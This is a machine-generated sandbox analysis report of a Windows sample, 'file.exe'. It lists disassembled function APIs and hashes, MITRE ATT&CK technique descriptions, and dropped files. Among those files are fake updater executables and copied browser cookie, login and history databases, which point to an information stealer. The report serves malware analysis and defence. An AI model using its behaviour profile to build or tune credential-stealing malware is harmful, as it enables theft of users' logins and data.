Opcode Fuzzy Hash: 513c017a5bafa834f878325d014bb92ba187ce472e93c7c7a25a72adc21d340d
Instruction Fuzzy Hash: 42F03A7591030CFFDB10EBE8D85DBEDBB79AB48705F104055EA05AB280C7B59A84CB50

Function 06D84BF9 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,06D83295,00000000,00000001,?,06D6AE13,?,06D78EC2,06D6AE13,00000000,00000000), ref: 06D84C10
GetLastError.KERNEL32(?,06D83295,00000000,00000001,?,06D6AE13,?,06D78EC2,06D6AE13,00000000,00000000,06D6AE13,06D6AE13,?,06D7949C,?), ref: 06D84C1C

Part of subcall function 06D84BE2: CloseHandle.KERNEL32(FFFFFFFE,06D84C2C,?,06D83295,00000000,00000001,?,06D6AE13,?,06D78EC2,06D6AE13,00000000,00000000,06D6AE13,06D6AE13), ref: 06D84BF2

___initconout.LIBCMT ref: 06D84C2C

Part of subcall function 06D84BA4: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,06D84BD3,06D83282,06D6AE13,?,06D78EC2,06D6AE13,00000000,00000000,06D6AE13), ref: 06D84BB7

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,06D83295,00000000,00000001,?,06D6AE13,?,06D78EC2,06D6AE13,00000000,00000000,06D6AE13), ref: 06D84C41

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 8999c50fc1660094aec63d9b0520081237cf162cab969b308bdafd1bbf4df963
Instruction ID: f1fdfa6e6d75d734234c4d313a4009a96717be58b3e7a9ec4022fa9bdb1593dc
Opcode Fuzzy Hash: 8999c50fc1660094aec63d9b0520081237cf162cab969b308bdafd1bbf4df963
Instruction Fuzzy Hash: C5F01236410119BFCF522F96DC0CDD93F66EB45674F054410FF1996250D6328960EB90

Function 06D5FE10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 159COMMON

Download Yara Rule

APIs

_Smanip.LIBCPMTD ref: 06D5FE55
InterlockedPushEntrySList.KERNEL32(06D9ACA0,06D9AB78), ref: 06D5FF2E

Part of subcall function 06D7127D: IsProcessorFeaturePresent.KERNEL32(00000017,06D6ADF3,?,06D6AC66,00000001,00000000,06D6FD84,?,?,?,?,?,00000000,?,?,06D6FE22), ref: 06D71299

Strings

Windows.Graphics.Capture.Direct3D11CaptureFramePool, xrefs: 06D5FE4D

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: EntryFeatureInterlockedListPresentProcessorPushSmanip
String ID: Windows.Graphics.Capture.Direct3D11CaptureFramePool
API String ID: 3267255610-3867124634
Opcode ID: 458de1708e7140678a1b5f37c82dce02d1bf2caaa1c7fa8c8d1839e4e8d3d765
Instruction ID: a4882ce5ce7ab870eb44cfbad2f1d8a1ef3958f39ad1bbcdc1ad6a34f4ffd326
Opcode Fuzzy Hash: 458de1708e7140678a1b5f37c82dce02d1bf2caaa1c7fa8c8d1839e4e8d3d765
Instruction Fuzzy Hash: 3E51577690020A9FCF91DFA4C880AAEFBB5FF09714F154159E911AB750DB74A905CFE0

Function 06D60000 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

_Smanip.LIBCPMTD ref: 06D60031
InterlockedPushEntrySList.KERNEL32(06D9ACA0,06D9AB88), ref: 06D600F7

Strings

Windows.Graphics.Capture.GraphicsCaptureItem, xrefs: 06D60029

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: EntryInterlockedListPushSmanip
String ID: Windows.Graphics.Capture.GraphicsCaptureItem
API String ID: 3047252672-2539477169
Opcode ID: 2b50c26c56aeadce5b16a248032a87c904f5130f21c6e363773600ebcdbdf852
Instruction ID: 34d087babe268837c4207ee356d0237e5544f43aa83f6f3598d2306c5d2da4bc
Opcode Fuzzy Hash: 2b50c26c56aeadce5b16a248032a87c904f5130f21c6e363773600ebcdbdf852
Instruction Fuzzy Hash: 80417171D11219AFDF90DFA5CD44AAEBBB9FF08714F10451AE815AB340DB74AA04CBE0

Function 06D57700 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36, xrefs: 06D5782C

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID:
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36
API String ID: 0-2732702261
Opcode ID: 84f862c4d47effeb6dc9eb39df470deac69a3abe0e65e8dd9791c3d6f799cbeb
Instruction ID: 1f01e4c462dd45c2bfda0041b7e6a55213048396992c96b756cd372d4df30e77
Opcode Fuzzy Hash: 84f862c4d47effeb6dc9eb39df470deac69a3abe0e65e8dd9791c3d6f799cbeb
Instruction Fuzzy Hash: B551B1B5D00208ABDB44DFD9D854BEEBBB5EF48300F248119E915A7344D774AA41CBA5

Function 06D69965 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 06D6998A

Strings

MOC, xrefs: 06D6999C
RCC, xrefs: 06D699A4

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ef2bf558e5f79fdbb71f2e59c8b211afc7b66f16f64977746dc3be0ed8868920
Instruction ID: 0c9d725bb83977053589b9748c0bc41a92969ce5c427c0e2dd469bb62fa82ebd
Opcode Fuzzy Hash: ef2bf558e5f79fdbb71f2e59c8b211afc7b66f16f64977746dc3be0ed8868920
Instruction Fuzzy Hash: 17417871D0020AAFCF56CF99CC91EAEBBB5FF48304F188159F915AB254D3359950DB60

Function 06D22760 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 06D22789
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 06D22855

Part of subcall function 06D6490D: _Yarn.LIBCPMT ref: 06D6492C
Part of subcall function 06D6490D: _Yarn.LIBCPMT ref: 06D64950

Strings

bad locale name, xrefs: 06D2285F

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 96b8def664c7f4523a855aca6d0930a92936c0b17cc87c0fa05c080ebee46e2e
Instruction ID: 0886a01e557c76448cf35ce5b399e160c431b3cbd8750bb67106947240067779
Opcode Fuzzy Hash: 96b8def664c7f4523a855aca6d0930a92936c0b17cc87c0fa05c080ebee46e2e
Instruction Fuzzy Hash: F641F1B4D04289DFDB05CF98C994BAEFBB1FF09304F148299E415AB381C7799A40CBA5

Function 06D5DFC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 06D5E00E

Part of subcall function 06D5D1F0: GetProcessHeap.KERNEL32 ref: 06D5D20F
Part of subcall function 06D5D1F0: HeapFree.KERNEL32(00000000,00000000,?), ref: 06D5D219

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000000,00000000,00000000), ref: 06D5E055

Strings

WIL Exception, xrefs: 06D5E023

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: ByteCharHeapMultiWide$FreeProcess
String ID: WIL Exception
API String ID: 1463872437-1585015378
Opcode ID: 7224d71e6e24a33df071550e565e6daea28a1bb47dc916f119fe0499870fa321
Instruction ID: 0bb37ce3c98152f4e86a82430ee515c010ff038bfe5fd6bec11f0eafa3fe1175
Opcode Fuzzy Hash: 7224d71e6e24a33df071550e565e6daea28a1bb47dc916f119fe0499870fa321
Instruction Fuzzy Hash: BB11E971740108ABDFA4EB68DC42FE57398DB08710F20026AFA1AEB2C0DA71B9448A64

Function 06D575C0 Relevance: 5.1, APIs: 4, Instructions: 81memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000), ref: 06D57676
GetProcessHeap.KERNEL32(00000008,-00000001), ref: 06D57699
HeapAlloc.KERNEL32(00000000), ref: 06D576A0
lstrcpynA.KERNEL32(00000000,00000000,00000000), ref: 06D576B5

Memory Dump Source

Source File: 00000000.00000002.4445900915.0000000006D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 06D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d20000_file.jbxd

Similarity

API ID: Heap$AllocProcesslstrcpynlstrlen
String ID:
API String ID: 2211197272-0
Opcode ID: fe421e91ca1895e7d3d24c1c7e15e8fc8db9a27432b829e7597f7e4dd907036b
Instruction ID: e72e51efe53fc79a85584f7d4376fcafed3b21bb0bd4a726b2cd6f3acb7e6c73
Opcode Fuzzy Hash: fe421e91ca1895e7d3d24c1c7e15e8fc8db9a27432b829e7597f7e4dd907036b
Instruction Fuzzy Hash: D0313CB5D00309EFDF44CFA8D958BAEBBB6FB44308F208558E915AB390D7349A40DB94

Analysis Process: MSIUpdaterV2.exePID: 6504, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	34%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040281D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00402814), ref: 0040281D
GetModuleHandleA.KERNEL32(?,00000078,00000004), ref: 0040286F
GetProcAddress.KERNEL32(00000000,00000000), ref: 00402897

Part of subcall function 0040283A: GetProcAddress.KERNEL32(00000000,0040282B), ref: 0040283B
Part of subcall function 0040283A: VirtualProtect.KERNELBASE(?,00000078,00000004), ref: 0040284D
Part of subcall function 0040283A: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000078,00000004), ref: 00402861

Strings

VT, xrefs: 0040286E

Memory Dump Source

Source File: 00000007.00000002.2220685526.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2220593311.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2220750922.0000000000403000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2220802120.0000000000404000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2220839900.0000000000405000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2221134973.00000000005B4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2221708241.0000000000A42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2221708241.0000000000B5D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2222061334.0000000000B78000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2222122510.0000000000B79000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_MSIUpdaterV2.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID: VT
API String ID: 2099061454-201482285
Opcode ID: 67b18f5d566e174719e6f505a4aa4f5f8e431714fa33c3de3599349bc2f53b7f
Instruction ID: f0c839e057809c1efc340711d894999912a39097a74a7b2f28aa4e3cf016983c
Opcode Fuzzy Hash: 67b18f5d566e174719e6f505a4aa4f5f8e431714fa33c3de3599349bc2f53b7f
Instruction Fuzzy Hash: A6012B0B55525139EA2476750E0E9BB5B889E23364B18CB7BF000F62D3D9FC8906837D

Function 0040283A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,0040282B), ref: 0040283B
VirtualProtect.KERNELBASE(?,00000078,00000004), ref: 0040284D
VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000078,00000004), ref: 00402861
GetModuleHandleA.KERNEL32(?,00000078,00000004), ref: 0040286F
GetProcAddress.KERNEL32(00000000,00000000), ref: 00402897

Strings

VT, xrefs: 0040286E

Memory Dump Source

Source File: 00000007.00000002.2220685526.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2220593311.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2220750922.0000000000403000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2220802120.0000000000404000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2220839900.0000000000405000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2221134973.00000000005B4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2221708241.0000000000A42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2221708241.0000000000B5D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2222061334.0000000000B78000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2222122510.0000000000B79000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_MSIUpdaterV2.jbxd

Yara matches

Similarity

API ID: AddressProcProtectVirtual$HandleModule
String ID: VT
API String ID: 2152742572-201482285
Opcode ID: b89d393753f96de86a2c896a51a5260cbabf9c56692d2ba4910448734dec975b
Instruction ID: d34c94931a7f052c938c3d91e02af59f00928117d923f9180033120dde70a02b
Opcode Fuzzy Hash: b89d393753f96de86a2c896a51a5260cbabf9c56692d2ba4910448734dec975b
Instruction Fuzzy Hash: 37F0A44B54565139FA2176750D4DABB4B8C8A23760B248B77F010F72C3D5FD890A93BA

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Protection of GUI

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe

C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

C:\Users\user\AppData\Local\Temp\dZGGvSkztfgYu5jqSY21Wne.zip

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\02zdBXl47cvzcookies.sqlite

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\3b6N2Xdh3CYwplaces.sqlite

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\5PaUKQKCn1cOHistory

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\D87fZN3R3jFeplaces.sqlite

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\GNGpmTFam5reWeb Data

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\HYMDMNDHbpvCLogin Data

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\KNCS9xAjcy97Login Data

C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\Ln2ferf9cd9cHistory

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

